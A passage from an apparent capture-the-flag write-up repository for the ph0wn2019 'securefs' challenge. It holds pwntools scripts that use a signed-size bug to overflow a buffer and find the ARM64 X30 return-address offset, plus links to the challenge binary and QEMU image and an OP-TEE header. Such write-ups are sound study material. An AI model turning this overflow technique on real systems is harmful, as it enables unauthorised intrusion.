ansTmp = r.recv(timeout=timeout) 18 | ans += ansTmp 19 | return ans 20 | except: 21 | return ans 22 | 23 | def uintToSignedInt(val): 24 | for i in range(1,257): 25 | if (-i & 0xff) == val: 26 | return -i 27 | return 0 28 | 29 | def putFlag(p, size, value): 30 | p.send('P\n') 31 | read_all(p) 32 | p.send(str(size) + '\n') 33 | read_all(p) 34 | # Note that serialEoT will send a 0x04 (End Of Transmission) which will be interpreted by serial driver to flush write 35 | # This also means this is a bad char ! 36 | serialEoT = '\x04' 37 | p.send(value + serialEoT) 38 | resp = p.recvline() 39 | respSplited = resp.split('Placed') 40 | if len(respSplited) < 2 : 41 | print('Crash : ' + repr(resp)) 42 | return 0 43 | print('Flag sent successfully') 44 | return 1 45 | 46 | def putFlagToWin(p, size, value): 47 | p.send('P\n') 48 | read_all(p) 49 | p.send(str(size) + '\n') 50 | read_all(p) 51 | serialEoT = '\x04' 52 | p.send(value + serialEoT) 53 | 54 | def getFlag(p, index): 55 | p.send('G\n') 56 | read_all(p) 57 | p.send(str(index) + '\n') 58 | p.recvline() 59 | flag = p.recvline().replace('\r\n', '') 60 | return flag 61 | 62 | context.clear(arch = 'arm64') 63 | context.log_level = 'error' 64 | context.endian = 'little' 65 | context.bits = 64 66 | local=0 67 | 68 | ip = '127.0.0.1' 69 | p = remote(ip, 8000) 70 | 71 | print('Waiting VM to boot...') 72 | time.sleep(5) 73 | print(read_all(p, 2)) 74 | 75 | print('>>>>>>>>>>> Starting exploit') 76 | 77 | print('Send a pattern to get offset of X30') 78 | 79 | overflowSize = 0xff 80 | signedSize = uintToSignedInt(overflowSize) 81 | payload = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4A' 82 | 83 | putFlagToWin(p, signedSize, payload) 84 | print(read_all(p)) # Print answer 85 | 86 | p.close() 87 | exit(0) 88 | -------------------------------------------------------------------------------- /ph0wn2019/pwn/securefs/exploit/method2_leakX30.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | import sys 4 | import time 5 | import struct 6 | from pwn import * 7 | from pwnlib.tubes.process import process 8 | from pwnlib.tubes.ssh import ssh 9 | from pwnlib.util.packing import * 10 | 11 | def read_all(r,timeout=0.1): 12 | ans='' 13 | try: 14 | ansTmp = r.recv(timeout=timeout) 15 | ans = ansTmp 16 | while ansTmp != '': 17 | ansTmp = r.recv(timeout=timeout) 18 | ans += ansTmp 19 | return ans 20 | except: 21 | return ans 22 | 23 | def uintToSignedInt(val): 24 | for i in range(1,257): 25 | if (-i & 0xff) == val: 26 | return -i 27 | return 0 28 | 29 | def putFlag(p, size, value): 30 | p.send('P\n') 31 | read_all(p) 32 | p.send(str(size) + '\n') 33 | read_all(p) 34 | # Note that serialEoT will send a 0x04 (End Of Transmission) which will be interpreted by serial driver to flush write 35 | # This also means this is a bad char ! 36 | serialEoT = '\x04' 37 | p.send(value + serialEoT) 38 | resp = p.recvline() 39 | respSplited = resp.split('Placed') 40 | if len(respSplited) < 2 : 41 | print('Crash : ' + repr(resp)) 42 | return 0 43 | print('Flag sent successfully') 44 | return 1 45 | 46 | def putFlagToWin(p, size, value): 47 | p.send('P\n') 48 | read_all(p) 49 | p.send(str(size) + '\n') 50 | read_all(p) 51 | serialEoT = '\x04' 52 | p.send(value + serialEoT) 53 | 54 | def getFlag(p, index): 55 | p.send('G\n') 56 | read_all(p) 57 | p.send(str(index) + '\n') 58 | p.recvline() 59 | flag = p.recvline().replace('\r\n', '') 60 | return flag 61 | 62 | context.clear(arch = 'arm64') 63 | context.log_level = 'error' 64 | context.endian = 'little' 65 | context.bits = 64 66 | local=0 67 | 68 | ip = '127.0.0.1' 69 | p = remote(ip, 8000) 70 | 71 | print('Waiting VM to boot...') 72 | time.sleep(5) 73 | print(read_all(p, 2)) 74 | 75 | print('>>>>>>>>>>> Starting exploit') 76 | 77 | print('Send a pattern to get offset of X30') 78 | 79 | overflowSize = 0x88 + 1 80 | signedSize = uintToSignedInt(overflowSize) 81 | payload = 'A' * overflowSize 82 | 83 | putFlagToWin(p, signedSize, payload) 84 | print(read_all(p)) # Print answer 85 | 86 | p.close() 87 | exit(0) -------------------------------------------------------------------------------- /ph0wn2019/pwn/securefs/files/bddf28fa-86fd-4b5d-9b5e-aad2f2b0c68d.elf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vdehors/writeups/c0c0d9d63894492d08af46ad7cfd24f4f417371d/ph0wn2019/pwn/securefs/files/bddf28fa-86fd-4b5d-9b5e-aad2f2b0c68d.elf -------------------------------------------------------------------------------- /ph0wn2019/pwn/securefs/files/ph0wn_flagstorage: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vdehors/writeups/c0c0d9d63894492d08af46ad7cfd24f4f417371d/ph0wn2019/pwn/securefs/files/ph0wn_flagstorage -------------------------------------------------------------------------------- /ph0wn2019/pwn/securefs/files/qemu_image.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vdehors/writeups/c0c0d9d63894492d08af46ad7cfd24f4f417371d/ph0wn2019/pwn/securefs/files/qemu_image.tar.gz -------------------------------------------------------------------------------- /ph0wn2019/pwn/securefs/images/exploit.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vdehors/writeups/c0c0d9d63894492d08af46ad7cfd24f4f417371d/ph0wn2019/pwn/securefs/images/exploit.png -------------------------------------------------------------------------------- /ph0wn2019/pwn/securefs/sample.h: -------------------------------------------------------------------------------- 1 | #define uint32_t uint 2 | #define size_t ulonglong 3 | #define uint16_t uint16 4 | #define uint8_t unsigned char 5 | 6 | typedef uint32_t TEEC_Result; 7 | 8 | typedef struct { 9 | void *buffer; 10 | size_t size; 11 | uint32_t flags; 12 | int id; 13 | size_t alloced_size; 14 | void *shadow_buffer; 15 | int registered_fd; 16 | bool buffer_allocated; 17 | } TEEC_SharedMemory; 18 | 19 | typedef struct { 20 | /* Implementation defined */ 21 | int fd; 22 | bool reg_mem; 23 | } TEEC_Context; 24 | 25 | typedef struct { 26 | uint32_t a; 27 | uint32_t b; 28 | uint32_t pad; 29 | } TEEC_Value; 30 | 31 | typedef struct { 32 | uint32_t timeLow; 33 | uint16_t timeMid; 34 | uint16_t timeHiAndVersion; 35 | uint8_t clockSeqAndNode[8]; 36 | } TEEC_UUID; 37 | 38 | typedef struct { 39 | void *buffer; 40 | size_t size; 41 | } TEEC_TempMemoryReference; 42 | 43 | typedef struct { 44 | TEEC_SharedMemory *parent; 45 | size_t size; 46 | size_t offset; 47 | } TEEC_RegisteredMemoryReference; 48 | 49 | typedef union { 50 | TEEC_TempMemoryReference tmpref; 51 | TEEC_RegisteredMemoryReference memref; 52 | TEEC_Value value; 53 | } TEEC_Parameter; 54 | 55 | typedef struct { 56 | /* Implementation defined */ 57 | TEEC_Context *ctx; 58 | uint32_t session_id; 59 | } TEEC_Session; 60 | 61 | #define TEEC_CONFIG_PAYLOAD_REF_COUNT 4 62 | typedef struct { 63 | uint32_t started; 64 | uint32_t paramTypes; 65 | TEEC_Parameter params[TEEC_CONFIG_PAYLOAD_REF_COUNT]; 66 | /* Implementation-Defined */ 67 | TEEC_Session *session; 68 | } TEEC_Operation; 69 | --------------------------------------------------------------------------------